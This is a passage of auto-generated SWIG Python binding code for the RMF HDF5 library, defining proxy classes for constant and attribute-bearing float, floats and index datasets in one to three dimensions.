RMF::HDF5::IntsTraits,3 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(IntsDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.IntsDataSetAttributes3D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(IntsDataSetAttributes3D self, std::string nm, Floats value)""" return _RMF_HDF5.IntsDataSetAttributes3D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(IntsDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.IntsDataSetAttributes3D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(IntsDataSetAttributes3D self, std::string nm, std::string value)""" return _RMF_HDF5.IntsDataSetAttributes3D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_IntsDataSetAttributes3D # Register IntsDataSetAttributes3D in _RMF_HDF5: _RMF_HDF5.IntsDataSetAttributes3D_swigregister(IntsDataSetAttributes3D) class FloatConstDataSet1D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatConstDataSet1D self) -> FloatConstDataSet1D""" _RMF_HDF5.FloatConstDataSet1D_swiginit(self, _RMF_HDF5.new_FloatConstDataSet1D()) def get_size(self): r"""get_size(FloatConstDataSet1D self) -> DataSetIndex1D""" return _RMF_HDF5.FloatConstDataSet1D_get_size(self) def get_value(self, ijk): r"""get_value(FloatConstDataSet1D self, DataSetIndex1D ijk) -> RMF::HDF5::FloatTraits::Type""" return _RMF_HDF5.FloatConstDataSet1D_get_value(self, ijk) def __str__(self): r"""__str__(FloatConstDataSet1D self) -> std::string""" return _RMF_HDF5.FloatConstDataSet1D___str__(self) def __repr__(self): r"""__repr__(FloatConstDataSet1D self) -> std::string""" return _RMF_HDF5.FloatConstDataSet1D___repr__(self) def get_block(self, lb, size): r"""get_block(FloatConstDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size) -> Floats""" return _RMF_HDF5.FloatConstDataSet1D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(FloatConstDataSet1D self, FloatConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatConstDataSet1D___eq__(self, o) def __ne__(self, o): r"""__ne__(FloatConstDataSet1D self, FloatConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatConstDataSet1D___ne__(self, o) def __lt__(self, o): r"""__lt__(FloatConstDataSet1D self, FloatConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatConstDataSet1D___lt__(self, o) def __gt__(self, o): r"""__gt__(FloatConstDataSet1D self, FloatConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatConstDataSet1D___gt__(self, o) def __ge__(self, o): r"""__ge__(FloatConstDataSet1D self, FloatConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatConstDataSet1D___ge__(self, o) def __le__(self, o): r"""__le__(FloatConstDataSet1D self, FloatConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatConstDataSet1D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_FloatConstDataSet1D # Register FloatConstDataSet1D in _RMF_HDF5: _RMF_HDF5.FloatConstDataSet1D_swigregister(FloatConstDataSet1D) class FloatConstDataSet2D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatConstDataSet2D self) -> FloatConstDataSet2D""" _RMF_HDF5.FloatConstDataSet2D_swiginit(self, _RMF_HDF5.new_FloatConstDataSet2D()) def get_size(self): r"""get_size(FloatConstDataSet2D self) -> DataSetIndex2D""" return _RMF_HDF5.FloatConstDataSet2D_get_size(self) def get_value(self, ijk): r"""get_value(FloatConstDataSet2D self, DataSetIndex2D ijk) -> RMF::HDF5::FloatTraits::Type""" return _RMF_HDF5.FloatConstDataSet2D_get_value(self, ijk) def __str__(self): r"""__str__(FloatConstDataSet2D self) -> std::string""" return _RMF_HDF5.FloatConstDataSet2D___str__(self) def __repr__(self): r"""__repr__(FloatConstDataSet2D self) -> std::string""" return _RMF_HDF5.FloatConstDataSet2D___repr__(self) def get_block(self, lb, size): r"""get_block(FloatConstDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size) -> Floats""" return _RMF_HDF5.FloatConstDataSet2D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(FloatConstDataSet2D self, FloatConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatConstDataSet2D___eq__(self, o) def __ne__(self, o): r"""__ne__(FloatConstDataSet2D self, FloatConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatConstDataSet2D___ne__(self, o) def __lt__(self, o): r"""__lt__(FloatConstDataSet2D self, FloatConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatConstDataSet2D___lt__(self, o) def __gt__(self, o): r"""__gt__(FloatConstDataSet2D self, FloatConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatConstDataSet2D___gt__(self, o) def __ge__(self, o): r"""__ge__(FloatConstDataSet2D self, FloatConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatConstDataSet2D___ge__(self, o) def __le__(self, o): r"""__le__(FloatConstDataSet2D self, FloatConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatConstDataSet2D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_FloatConstDataSet2D # Register FloatConstDataSet2D in _RMF_HDF5: _RMF_HDF5.FloatConstDataSet2D_swigregister(FloatConstDataSet2D) class FloatConstDataSet3D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatConstDataSet3D self) -> FloatConstDataSet3D""" _RMF_HDF5.FloatConstDataSet3D_swiginit(self, _RMF_HDF5.new_FloatConstDataSet3D()) def get_size(self): r"""get_size(FloatConstDataSet3D self) -> DataSetIndex3D""" return _RMF_HDF5.FloatConstDataSet3D_get_size(self) def get_value(self, ijk): r"""get_value(FloatConstDataSet3D self, DataSetIndex3D ijk) -> RMF::HDF5::FloatTraits::Type""" return _RMF_HDF5.FloatConstDataSet3D_get_value(self, ijk) def __str__(self): r"""__str__(FloatConstDataSet3D self) -> std::string""" return _RMF_HDF5.FloatConstDataSet3D___str__(self) def __repr__(self): r"""__repr__(FloatConstDataSet3D self) -> std::string""" return _RMF_HDF5.FloatConstDataSet3D___repr__(self) def get_block(self, lb, size): r"""get_block(FloatConstDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size) -> Floats""" return _RMF_HDF5.FloatConstDataSet3D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(FloatConstDataSet3D self, FloatConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatConstDataSet3D___eq__(self, o) def __ne__(self, o): r"""__ne__(FloatConstDataSet3D self, FloatConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatConstDataSet3D___ne__(self, o) def __lt__(self, o): r"""__lt__(FloatConstDataSet3D self, FloatConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatConstDataSet3D___lt__(self, o) def __gt__(self, o): r"""__gt__(FloatConstDataSet3D self, FloatConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatConstDataSet3D___gt__(self, o) def __ge__(self, o): r"""__ge__(FloatConstDataSet3D self, FloatConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatConstDataSet3D___ge__(self, o) def __le__(self, o): r"""__le__(FloatConstDataSet3D self, FloatConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatConstDataSet3D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_FloatConstDataSet3D # Register FloatConstDataSet3D in _RMF_HDF5: _RMF_HDF5.FloatConstDataSet3D_swigregister(FloatConstDataSet3D) class FloatDataSetAttributes1D(FloatConstDataSet1D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatTraits,1 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(FloatDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatDataSetAttributes1D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(FloatDataSetAttributes1D self, std::string nm, Floats value)""" return _RMF_HDF5.FloatDataSetAttributes1D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(FloatDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatDataSetAttributes1D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(FloatDataSetAttributes1D self, std::string nm, std::string value)""" return _RMF_HDF5.FloatDataSetAttributes1D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_FloatDataSetAttributes1D # Register FloatDataSetAttributes1D in _RMF_HDF5: _RMF_HDF5.FloatDataSetAttributes1D_swigregister(FloatDataSetAttributes1D) class FloatDataSetAttributes2D(FloatConstDataSet2D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatTraits,2 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(FloatDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatDataSetAttributes2D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(FloatDataSetAttributes2D self, std::string nm, Floats value)""" return _RMF_HDF5.FloatDataSetAttributes2D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(FloatDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatDataSetAttributes2D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(FloatDataSetAttributes2D self, std::string nm, std::string value)""" return _RMF_HDF5.FloatDataSetAttributes2D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_FloatDataSetAttributes2D # Register FloatDataSetAttributes2D in _RMF_HDF5: _RMF_HDF5.FloatDataSetAttributes2D_swigregister(FloatDataSetAttributes2D) class FloatDataSetAttributes3D(FloatConstDataSet3D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatTraits,3 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(FloatDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatDataSetAttributes3D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(FloatDataSetAttributes3D self, std::string nm, Floats value)""" return _RMF_HDF5.FloatDataSetAttributes3D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(FloatDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatDataSetAttributes3D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(FloatDataSetAttributes3D self, std::string nm, std::string value)""" return _RMF_HDF5.FloatDataSetAttributes3D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_FloatDataSetAttributes3D # Register FloatDataSetAttributes3D in _RMF_HDF5: _RMF_HDF5.FloatDataSetAttributes3D_swigregister(FloatDataSetAttributes3D) class FloatsConstDataSet1D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatsTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatsConstDataSet1D self) -> FloatsConstDataSet1D""" _RMF_HDF5.FloatsConstDataSet1D_swiginit(self, _RMF_HDF5.new_FloatsConstDataSet1D()) def get_size(self): r"""get_size(FloatsConstDataSet1D self) -> DataSetIndex1D""" return _RMF_HDF5.FloatsConstDataSet1D_get_size(self) def get_value(self, ijk): r"""get_value(FloatsConstDataSet1D self, DataSetIndex1D ijk) -> Floats""" return _RMF_HDF5.FloatsConstDataSet1D_get_value(self, ijk) def __str__(self): r"""__str__(FloatsConstDataSet1D self) -> std::string""" return _RMF_HDF5.FloatsConstDataSet1D___str__(self) def __repr__(self): r"""__repr__(FloatsConstDataSet1D self) -> std::string""" return _RMF_HDF5.FloatsConstDataSet1D___repr__(self) def get_block(self, lb, size): r"""get_block(FloatsConstDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size) -> FloatsList""" return _RMF_HDF5.FloatsConstDataSet1D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(FloatsConstDataSet1D self, FloatsConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet1D___eq__(self, o) def __ne__(self, o): r"""__ne__(FloatsConstDataSet1D self, FloatsConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet1D___ne__(self, o) def __lt__(self, o): r"""__lt__(FloatsConstDataSet1D self, FloatsConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet1D___lt__(self, o) def __gt__(self, o): r"""__gt__(FloatsConstDataSet1D self, FloatsConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet1D___gt__(self, o) def __ge__(self, o): r"""__ge__(FloatsConstDataSet1D self, FloatsConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet1D___ge__(self, o) def __le__(self, o): r"""__le__(FloatsConstDataSet1D self, FloatsConstDataSet1D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet1D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_FloatsConstDataSet1D # Register FloatsConstDataSet1D in _RMF_HDF5: _RMF_HDF5.FloatsConstDataSet1D_swigregister(FloatsConstDataSet1D) class FloatsConstDataSet2D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatsTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatsConstDataSet2D self) -> FloatsConstDataSet2D""" _RMF_HDF5.FloatsConstDataSet2D_swiginit(self, _RMF_HDF5.new_FloatsConstDataSet2D()) def get_size(self): r"""get_size(FloatsConstDataSet2D self) -> DataSetIndex2D""" return _RMF_HDF5.FloatsConstDataSet2D_get_size(self) def get_value(self, ijk): r"""get_value(FloatsConstDataSet2D self, DataSetIndex2D ijk) -> Floats""" return _RMF_HDF5.FloatsConstDataSet2D_get_value(self, ijk) def __str__(self): r"""__str__(FloatsConstDataSet2D self) -> std::string""" return _RMF_HDF5.FloatsConstDataSet2D___str__(self) def __repr__(self): r"""__repr__(FloatsConstDataSet2D self) -> std::string""" return _RMF_HDF5.FloatsConstDataSet2D___repr__(self) def get_block(self, lb, size): r"""get_block(FloatsConstDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size) -> FloatsList""" return _RMF_HDF5.FloatsConstDataSet2D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(FloatsConstDataSet2D self, FloatsConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet2D___eq__(self, o) def __ne__(self, o): r"""__ne__(FloatsConstDataSet2D self, FloatsConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet2D___ne__(self, o) def __lt__(self, o): r"""__lt__(FloatsConstDataSet2D self, FloatsConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet2D___lt__(self, o) def __gt__(self, o): r"""__gt__(FloatsConstDataSet2D self, FloatsConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet2D___gt__(self, o) def __ge__(self, o): r"""__ge__(FloatsConstDataSet2D self, FloatsConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet2D___ge__(self, o) def __le__(self, o): r"""__le__(FloatsConstDataSet2D self, FloatsConstDataSet2D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet2D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_FloatsConstDataSet2D # Register FloatsConstDataSet2D in _RMF_HDF5: _RMF_HDF5.FloatsConstDataSet2D_swigregister(FloatsConstDataSet2D) class FloatsConstDataSet3D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatsTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(FloatsConstDataSet3D self) -> FloatsConstDataSet3D""" _RMF_HDF5.FloatsConstDataSet3D_swiginit(self, _RMF_HDF5.new_FloatsConstDataSet3D()) def get_size(self): r"""get_size(FloatsConstDataSet3D self) -> DataSetIndex3D""" return _RMF_HDF5.FloatsConstDataSet3D_get_size(self) def get_value(self, ijk): r"""get_value(FloatsConstDataSet3D self, DataSetIndex3D ijk) -> Floats""" return _RMF_HDF5.FloatsConstDataSet3D_get_value(self, ijk) def __str__(self): r"""__str__(FloatsConstDataSet3D self) -> std::string""" return _RMF_HDF5.FloatsConstDataSet3D___str__(self) def __repr__(self): r"""__repr__(FloatsConstDataSet3D self) -> std::string""" return _RMF_HDF5.FloatsConstDataSet3D___repr__(self) def get_block(self, lb, size): r"""get_block(FloatsConstDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size) -> FloatsList""" return _RMF_HDF5.FloatsConstDataSet3D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(FloatsConstDataSet3D self, FloatsConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet3D___eq__(self, o) def __ne__(self, o): r"""__ne__(FloatsConstDataSet3D self, FloatsConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet3D___ne__(self, o) def __lt__(self, o): r"""__lt__(FloatsConstDataSet3D self, FloatsConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet3D___lt__(self, o) def __gt__(self, o): r"""__gt__(FloatsConstDataSet3D self, FloatsConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet3D___gt__(self, o) def __ge__(self, o): r"""__ge__(FloatsConstDataSet3D self, FloatsConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet3D___ge__(self, o) def __le__(self, o): r"""__le__(FloatsConstDataSet3D self, FloatsConstDataSet3D o) -> bool""" return _RMF_HDF5.FloatsConstDataSet3D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_FloatsConstDataSet3D # Register FloatsConstDataSet3D in _RMF_HDF5: _RMF_HDF5.FloatsConstDataSet3D_swigregister(FloatsConstDataSet3D) class FloatsDataSetAttributes1D(FloatsConstDataSet1D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatsTraits,1 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(FloatsDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatsDataSetAttributes1D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(FloatsDataSetAttributes1D self, std::string nm, Floats value)""" return _RMF_HDF5.FloatsDataSetAttributes1D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(FloatsDataSetAttributes1D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatsDataSetAttributes1D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(FloatsDataSetAttributes1D self, std::string nm, std::string value)""" return _RMF_HDF5.FloatsDataSetAttributes1D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_FloatsDataSetAttributes1D # Register FloatsDataSetAttributes1D in _RMF_HDF5: _RMF_HDF5.FloatsDataSetAttributes1D_swigregister(FloatsDataSetAttributes1D) class FloatsDataSetAttributes2D(FloatsConstDataSet2D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatsTraits,2 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(FloatsDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatsDataSetAttributes2D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(FloatsDataSetAttributes2D self, std::string nm, Floats value)""" return _RMF_HDF5.FloatsDataSetAttributes2D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(FloatsDataSetAttributes2D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatsDataSetAttributes2D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(FloatsDataSetAttributes2D self, std::string nm, std::string value)""" return _RMF_HDF5.FloatsDataSetAttributes2D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_FloatsDataSetAttributes2D # Register FloatsDataSetAttributes2D in _RMF_HDF5: _RMF_HDF5.FloatsDataSetAttributes2D_swigregister(FloatsDataSetAttributes2D) class FloatsDataSetAttributes3D(FloatsConstDataSet3D): r"""Proxy of C++ RMF::HDF5::MutableAttributes< RMF::HDF5::ConstDataSetD< RMF::HDF5::FloatsTraits,3 > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def set_int_attribute(self, nm, value): r"""set_int_attribute(FloatsDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatsDataSetAttributes3D_set_int_attribute(self, nm, value) def set_float_attribute(self, nm, value): r"""set_float_attribute(FloatsDataSetAttributes3D self, std::string nm, Floats value)""" return _RMF_HDF5.FloatsDataSetAttributes3D_set_float_attribute(self, nm, value) def set_index_attribute(self, nm, value): r"""set_index_attribute(FloatsDataSetAttributes3D self, std::string nm, Ints value)""" return _RMF_HDF5.FloatsDataSetAttributes3D_set_index_attribute(self, nm, value) def set_char_attribute(self, nm, value): r"""set_char_attribute(FloatsDataSetAttributes3D self, std::string nm, std::string value)""" return _RMF_HDF5.FloatsDataSetAttributes3D_set_char_attribute(self, nm, value) __swig_destroy__ = _RMF_HDF5.delete_FloatsDataSetAttributes3D # Register FloatsDataSetAttributes3D in _RMF_HDF5: _RMF_HDF5.FloatsDataSetAttributes3D_swigregister(FloatsDataSetAttributes3D) class IndexConstDataSet1D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexTraits,1 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexConstDataSet1D self) -> IndexConstDataSet1D""" _RMF_HDF5.IndexConstDataSet1D_swiginit(self, _RMF_HDF5.new_IndexConstDataSet1D()) def get_size(self): r"""get_size(IndexConstDataSet1D self) -> DataSetIndex1D""" return _RMF_HDF5.IndexConstDataSet1D_get_size(self) def get_value(self, ijk): r"""get_value(IndexConstDataSet1D self, DataSetIndex1D ijk) -> RMF::HDF5::IndexTraits::Type""" return _RMF_HDF5.IndexConstDataSet1D_get_value(self, ijk) def __str__(self): r"""__str__(IndexConstDataSet1D self) -> std::string""" return _RMF_HDF5.IndexConstDataSet1D___str__(self) def __repr__(self): r"""__repr__(IndexConstDataSet1D self) -> std::string""" return _RMF_HDF5.IndexConstDataSet1D___repr__(self) def get_block(self, lb, size): r"""get_block(IndexConstDataSet1D self, DataSetIndex1D lb, DataSetIndex1D size) -> Ints""" return _RMF_HDF5.IndexConstDataSet1D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IndexConstDataSet1D self, IndexConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexConstDataSet1D___eq__(self, o) def __ne__(self, o): r"""__ne__(IndexConstDataSet1D self, IndexConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexConstDataSet1D___ne__(self, o) def __lt__(self, o): r"""__lt__(IndexConstDataSet1D self, IndexConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexConstDataSet1D___lt__(self, o) def __gt__(self, o): r"""__gt__(IndexConstDataSet1D self, IndexConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexConstDataSet1D___gt__(self, o) def __ge__(self, o): r"""__ge__(IndexConstDataSet1D self, IndexConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexConstDataSet1D___ge__(self, o) def __le__(self, o): r"""__le__(IndexConstDataSet1D self, IndexConstDataSet1D o) -> bool""" return _RMF_HDF5.IndexConstDataSet1D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IndexConstDataSet1D # Register IndexConstDataSet1D in _RMF_HDF5: _RMF_HDF5.IndexConstDataSet1D_swigregister(IndexConstDataSet1D) class IndexConstDataSet2D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexTraits,2 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexConstDataSet2D self) -> IndexConstDataSet2D""" _RMF_HDF5.IndexConstDataSet2D_swiginit(self, _RMF_HDF5.new_IndexConstDataSet2D()) def get_size(self): r"""get_size(IndexConstDataSet2D self) -> DataSetIndex2D""" return _RMF_HDF5.IndexConstDataSet2D_get_size(self) def get_value(self, ijk): r"""get_value(IndexConstDataSet2D self, DataSetIndex2D ijk) -> RMF::HDF5::IndexTraits::Type""" return _RMF_HDF5.IndexConstDataSet2D_get_value(self, ijk) def __str__(self): r"""__str__(IndexConstDataSet2D self) -> std::string""" return _RMF_HDF5.IndexConstDataSet2D___str__(self) def __repr__(self): r"""__repr__(IndexConstDataSet2D self) -> std::string""" return _RMF_HDF5.IndexConstDataSet2D___repr__(self) def get_block(self, lb, size): r"""get_block(IndexConstDataSet2D self, DataSetIndex2D lb, DataSetIndex2D size) -> Ints""" return _RMF_HDF5.IndexConstDataSet2D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IndexConstDataSet2D self, IndexConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexConstDataSet2D___eq__(self, o) def __ne__(self, o): r"""__ne__(IndexConstDataSet2D self, IndexConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexConstDataSet2D___ne__(self, o) def __lt__(self, o): r"""__lt__(IndexConstDataSet2D self, IndexConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexConstDataSet2D___lt__(self, o) def __gt__(self, o): r"""__gt__(IndexConstDataSet2D self, IndexConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexConstDataSet2D___gt__(self, o) def __ge__(self, o): r"""__ge__(IndexConstDataSet2D self, IndexConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexConstDataSet2D___ge__(self, o) def __le__(self, o): r"""__le__(IndexConstDataSet2D self, IndexConstDataSet2D o) -> bool""" return _RMF_HDF5.IndexConstDataSet2D___le__(self, o) __swig_destroy__ = _RMF_HDF5.delete_IndexConstDataSet2D # Register IndexConstDataSet2D in _RMF_HDF5: _RMF_HDF5.IndexConstDataSet2D_swigregister(IndexConstDataSet2D) class IndexConstDataSet3D(_ConstAttributesObject): r"""Proxy of C++ RMF::HDF5::ConstDataSetD< RMF::HDF5::IndexTraits,3 > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self): r"""__init__(IndexConstDataSet3D self) -> IndexConstDataSet3D""" _RMF_HDF5.IndexConstDataSet3D_swiginit(self, _RMF_HDF5.new_IndexConstDataSet3D()) def get_size(self): r"""get_size(IndexConstDataSet3D self) -> DataSetIndex3D""" return _RMF_HDF5.IndexConstDataSet3D_get_size(self) def get_value(self, ijk): r"""get_value(IndexConstDataSet3D self, DataSetIndex3D ijk) -> RMF::HDF5::IndexTraits::Type""" return _RMF_HDF5.IndexConstDataSet3D_get_value(self, ijk) def __str__(self): r"""__str__(IndexConstDataSet3D self) -> std::string""" return _RMF_HDF5.IndexConstDataSet3D___str__(self) def __repr__(self): r"""__repr__(IndexConstDataSet3D self) -> std::string""" return _RMF_HDF5.IndexConstDataSet3D___repr__(self) def get_block(self, lb, size): r"""get_block(IndexConstDataSet3D self, DataSetIndex3D lb, DataSetIndex3D size) -> Ints""" return _RMF_HDF5.IndexConstDataSet3D_get_block(self, lb, size) def __eq__(self, o): r"""__eq__(IndexConstDataSet3D self, IndexConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexConstDataSet3D___eq__(self, o) def __ne__(self, o): r"""__ne__(IndexConstDataSet3D self, IndexConstDataSet3D o) -> bool""" return _RMF_HDF5.IndexConstDataSet3D___ne__(self, o) def __lt__(self, o): 